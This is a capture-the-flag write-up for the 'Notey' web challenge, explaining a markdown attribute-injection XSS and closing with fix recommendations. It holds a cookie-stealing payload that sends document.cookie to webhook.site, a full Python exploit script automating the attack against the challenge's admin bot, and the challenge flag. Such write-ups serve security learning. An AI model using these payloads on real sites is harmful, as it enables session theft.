Notey#

Challenge Info#

Name: Notey
Category: Web
Difficulty: Easy
Instance: http://ctf.vulnbydefault.com:36760
Flag format: VBD{…}

TL;DR#

The app sanitizes markdown before converting it to HTML. The markdown renderer (slimdown-js) inserts image/link URL content into HTML attributes without escaping quotes.

So we inject a malicious markdown image URL:

![x](x” onerror=“location=‘https://webhook.site/?c=‘+document.cookie”)

When admin bot visits the note via /api/visit, onerror executes and exfiltrates cookies (including flag) to webhook.site.

Root Cause Analysis#

1) Dangerous rendering order#

In note page rendering:

Input markdown is sanitized with DOMPurify first
Then converted into HTML with slimdown-js

If markdown-to-HTML step is unsafe, sanitizing first is ineffective.

2) Vulnerable markdown parser behavior#

slimdown-js rule (from dist build) for images:

![alt](url) â†’ <img src="$2" alt="$1">

The captured URL is inserted directly into src without escaping quotes. That allows attribute injection by breaking out of src and adding onerror.

/api/visit triggers Puppeteer bot that sets:

flag cookie (not HttpOnly)
admin session cookie

Then bot visits attacker-controlled note URL, executing payload.

Exploitation Steps#

Create attacker account (/api/auth/signup, /api/auth/signin).
Create webhook.site token (POST https://webhook.site/token).
Create malicious note with image URL-attribute injection payload.
Trigger bot via POST /api/visit with malicious note UUID.
Poll GET https://webhook.site/token/<uuid>/requests.
Extract VBD{...} from exfiltrated c query parameter.

Exploit Script#

Saved as: 1. ctf/notey-web/exploit_notey.py

1
import json
2
import re
3
import secrets
4
import string
5
import time
6
import requests
7

8
BASE = "http://ctf.vulnbydefault.com:36760"
9

10
s = requests.Session()
11

12

13
def rand(n=8):
14
    return ''.join(secrets.choice(string.ascii_lowercase + string.digits) for _ in range(n))
15

16

17
def must(cond, msg):
18
    if not cond:
19
        raise RuntimeError(msg)
20

21

22
username = f"u_{rand()}"
23
password = f"P_{rand(12)}"
24
print(f"[*] Target: {BASE}")
25
print(f"[*] User: {username}")
26

27
# 1) signup
28
r = s.post(f"{BASE}/api/auth/signup", json={"username": username, "password": password}, timeout=20)
29
r.raise_for_status()
30
must(r.status_code == 200, f"Signup failed: {r.text}")
31
print("[+] Signup ok")
32

33
# 2) signin
34
r = s.post(f"{BASE}/api/auth/signin", json={"username": username, "password": password}, timeout=20)
35
r.raise_for_status()
36
must(r.status_code == 200, f"Signin failed: {r.text}")
37
attacker_token = s.cookies.get("session")
38
must(attacker_token, "No session cookie after signin")
39
print("[+] Signin ok, got session token")
40

41
# 3) webhook token
42
wr = requests.post("https://webhook.site/token", timeout=20)
43
wr.raise_for_status()
44
token = wr.json()["uuid"]
45
hook_url = f"https://webhook.site/{token}"
46
print(f"[+] Webhook token: {token}")
47

48
# 4) XSS payload via markdown image URL injection
49
payload = f"![x](x\" onerror=\"location='{hook_url}?c='+document.cookie\")"
50

51
r = s.post(
52
    f"{BASE}/api/notes",
53
    json={"title": "xss-exfil", "content": payload},
54
    timeout=20,
55
)
56
r.raise_for_status()
57
note_id = r.json().get("id")
58
must(note_id, "No note id returned")
59
print(f"[+] Created malicious note: {note_id}")
60

61
# 5) report to bot
62
r = s.post(f"{BASE}/api/visit", data={"noteId": note_id}, timeout=20)
63
r.raise_for_status()
64
print(f"[+] Reported note to bot: {r.text[:120]}")
65

66
# 6) poll webhook and parse flag
67
flag = None
68
for _ in range(20):
69
    time.sleep(2)
70
    lr = requests.get(f"https://webhook.site/token/{token}/requests", timeout=20)
71
    lr.raise_for_status()
72
    data = lr.json().get("data", [])
73
    if not data:
74
        continue
75

76
    for req in data:
77
        query = req.get("query", {}) or {}
78
        c = query.get("c")
79
        if c:
80
            m = re.search(r"VBD\{[^}]+\}", c)
81
            if m:
82
                flag = m.group(0)
83
                break
84
    if flag:
85
        break
86

87
if not flag:
88
    raise RuntimeError("Failed to retrieve flag from webhook requests")
89

90
print(f"\n[FLAG] {flag}")

Run:

1
C:/Users/ctf/python.exe "c:\Users\ctf\exploit_notey.py"

Flag#

VBD{m4rkd0wn_1s_n0t_s3cur3_f031aa747dafeb8c6d39b8b6caf4a72b}

Fix Recommendations#

Render markdown first, sanitize resulting HTML second.
Use a markdown parser that escapes attributes safely by default.
Add CSP to reduce script execution impact.
Keep sensitive values out of readable cookies (HttpOnly, avoid client-readable flag at all).